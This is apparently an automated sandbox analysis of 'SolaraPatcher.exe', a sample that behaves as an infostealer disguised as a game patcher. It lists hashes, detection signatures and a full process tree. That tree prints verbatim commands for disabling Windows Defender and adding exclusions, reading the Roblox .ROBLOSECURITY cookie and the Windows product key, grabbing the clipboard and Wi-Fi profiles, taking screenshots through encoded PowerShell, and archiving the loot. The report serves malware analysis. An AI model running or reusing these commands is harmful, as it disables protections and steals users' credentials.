Analysis

  • max time kernel
    91s
  • max time network
    105s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240508-en
  • resource tags

    arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    29-05-2024 04:09

General

  • Target

    SolaraPatcher.exe

  • Size

    7.4MB

  • MD5

    902e0f28a81ee39249980688b971cfde

  • SHA1

    1075f10cdceee85ce1ed919e6e51507f3ba20c41

  • SHA256

    81ad8c3a50477ab2151c4cdc3472b380e97c30e6cb96b37da23402d3d5ec85a7

  • SHA512

    4ec54f872761630dff223c117b0b7630f796a810c06d28446187de29f93da63b3ef3991e95a699c6c050c565374e1e7a8de5f637f654f7385dfd32e8c2d22e68

  • SSDEEP

    98304:/IeYgI6OshoKyDvuIYc5AhV+gEc4kZvRLoI0EJfNA3z5UTbdv9JTSPhlVtQo1fw:/VYmOshoKMuIkhVastRL5Di3tK1SPJw

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 17 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • UPX packed file 55 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Detects videocard installed 1 TTPs 3 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Enumerates processes with tasklist 1 TTPs 4 IoCs
  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Suspicious behavior: EnumeratesProcesses 22 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\SolaraPatcher.exe
    "C:\Users\Admin\AppData\Local\Temp\SolaraPatcher.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3808
    • C:\Users\Admin\AppData\Local\Temp\SolaraPatcher.exe
      "C:\Users\Admin\AppData\Local\Temp\SolaraPatcher.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:4868
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\SolaraPatcher.exe'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:868
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\SolaraPatcher.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2112
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:900
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2464
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Solara has been patched! Please open Solara', 0, 'Solara Patcher', 48+16);close()""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4952
        • C:\Windows\system32\mshta.exe
          mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Solara has been patched! Please open Solara', 0, 'Solara Patcher', 48+16);close()"
          4⤵
            PID:2064
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3280
          • C:\Windows\system32\tasklist.exe
            tasklist /FO LIST
            4⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:2824
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2792
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic csproduct get uuid
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4196
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4960
          • C:\Windows\system32\reg.exe
            REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
            4⤵
              PID:4008
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:2752
            • C:\Windows\system32\reg.exe
              REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
              4⤵
                PID:4444
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:4016
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic path win32_VideoController get name
                4⤵
                • Detects videocard installed
                • Suspicious use of AdjustPrivilegeToken
                PID:1244
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1680
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic path win32_VideoController get name
                4⤵
                • Detects videocard installed
                PID:244
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\   ‌ .scr'"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:4632
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\   ‌ .scr'
                4⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:4580
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1648
              • C:\Windows\system32\tasklist.exe
                tasklist /FO LIST
                4⤵
                • Enumerates processes with tasklist
                PID:3528
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:2168
              • C:\Windows\system32\tasklist.exe
                tasklist /FO LIST
                4⤵
                • Enumerates processes with tasklist
                PID:3444
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
              3⤵
                PID:4216
                • C:\Windows\System32\Wbem\WMIC.exe
                  WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
                  4⤵
                    PID:4264
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4036
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    powershell Get-Clipboard
                    4⤵
                    • Suspicious behavior: EnumeratesProcesses
                    PID:3596
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                  3⤵
                    PID:4336
                    • C:\Windows\system32\tasklist.exe
                      tasklist /FO LIST
                      4⤵
                      • Enumerates processes with tasklist
                      PID:1496
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
                    3⤵
                      PID:3460
                      • C:\Windows\system32\netsh.exe
                        netsh wlan show profile
                        4⤵
                          PID:1852
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c "tree /A /F"
                        3⤵
                          PID:2552
                          • C:\Windows\system32\tree.com
                            tree /A /F
                            4⤵
                              PID:4152
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /c "systeminfo"
                            3⤵
                              PID:5116
                              • C:\Windows\system32\systeminfo.exe
                                systeminfo
                                4⤵
                                • Gathers system information
                                PID:2496
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
                              3⤵
                                PID:768
                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                  powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
                                  4⤵
                                  • Command and Scripting Interpreter: PowerShell
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:2752
                                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\2iicj4ht\2iicj4ht.cmdline"
                                    5⤵
                                      PID:3588
                                      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5EBA.tmp" "c:\Users\Admin\AppData\Local\Temp\2iicj4ht\CSC1A2BC4F5C5814BC8B1D063CE2A3048E1.TMP"
                                        6⤵
                                          PID:4656
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /c "tree /A /F"
                                    3⤵
                                      PID:3032
                                      • C:\Windows\system32\tree.com
                                        tree /A /F
                                        4⤵
                                          PID:1048
                                      • C:\Windows\system32\cmd.exe
                                        C:\Windows\system32\cmd.exe /c "tree /A /F"
                                        3⤵
                                          PID:1712
                                          • C:\Windows\system32\tree.com
                                            tree /A /F
                                            4⤵
                                              PID:4640
                                          • C:\Windows\system32\cmd.exe
                                            C:\Windows\system32\cmd.exe /c "tree /A /F"
                                            3⤵
                                              PID:1828
                                              • C:\Windows\system32\tree.com
                                                tree /A /F
                                                4⤵
                                                  PID:1524
                                              • C:\Windows\system32\cmd.exe
                                                C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                3⤵
                                                  PID:1532
                                                  • C:\Windows\system32\tree.com
                                                    tree /A /F
                                                    4⤵
                                                      PID:1920
                                                  • C:\Windows\system32\cmd.exe
                                                    C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                    3⤵
                                                      PID:3896
                                                      • C:\Windows\system32\tree.com
                                                        tree /A /F
                                                        4⤵
                                                          PID:4536
                                                      • C:\Windows\system32\cmd.exe
                                                        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                                        3⤵
                                                          PID:2336
                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                            powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                            4⤵
                                                            • Suspicious behavior: EnumeratesProcesses
                                                            PID:1552
                                                        • C:\Windows\system32\cmd.exe
                                                          C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                                          3⤵
                                                            PID:4604
                                                            • C:\Windows\System32\Conhost.exe
                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                              4⤵
                                                                PID:3596
                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                                4⤵
                                                                • Suspicious behavior: EnumeratesProcesses
                                                                PID:3236
                                                            • C:\Windows\system32\cmd.exe
                                                              C:\Windows\system32\cmd.exe /c "getmac"
                                                              3⤵
                                                                PID:3156
                                                                • C:\Windows\system32\getmac.exe
                                                                  getmac
                                                                  4⤵
                                                                    PID:3240
                                                                • C:\Windows\system32\cmd.exe
                                                                  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI38082\rar.exe a -r -hp"demontime" "C:\Users\Admin\AppData\Local\Temp\7Dy0w.zip" *"
                                                                  3⤵
                                                                    PID:2464
                                                                    • C:\Users\Admin\AppData\Local\Temp\_MEI38082\rar.exe
                                                                      C:\Users\Admin\AppData\Local\Temp\_MEI38082\rar.exe a -r -hp"demontime" "C:\Users\Admin\AppData\Local\Temp\7Dy0w.zip" *
                                                                      4⤵
                                                                      • Executes dropped EXE
                                                                      PID:3812
                                                                  • C:\Windows\system32\cmd.exe
                                                                    C:\Windows\system32\cmd.exe /c "wmic os get Caption"
                                                                    3⤵
                                                                      PID:4736
                                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                                        wmic os get Caption
                                                                        4⤵
                                                                          PID:2304
                                                                      • C:\Windows\system32\cmd.exe
                                                                        C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
                                                                        3⤵
                                                                          PID:1976
                                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                                            wmic computersystem get totalphysicalmemory
                                                                            4⤵
                                                                              PID:2124
                                                                          • C:\Windows\system32\cmd.exe
                                                                            C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                                                                            3⤵
                                                                              PID:4160
                                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                                wmic csproduct get uuid
                                                                                4⤵
                                                                                  PID:2476
                                                                              • C:\Windows\system32\cmd.exe
                                                                                C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
                                                                                3⤵
                                                                                  PID:132
                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                    powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                                                                                    4⤵
                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                    PID:2752
                                                                                • C:\Windows\system32\cmd.exe
                                                                                  C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                                                                                  3⤵
                                                                                    PID:916
                                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                                      wmic path win32_VideoController get name
                                                                                      4⤵
                                                                                      • Detects videocard installed
                                                                                      PID:3260
                                                                                  • C:\Windows\system32\cmd.exe
                                                                                    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
                                                                                    3⤵
                                                                                      PID:3556
                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
                                                                                        4⤵
                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                        PID:3368

                                                                                Network

                                                                                MITRE ATT&CK Enterprise v15

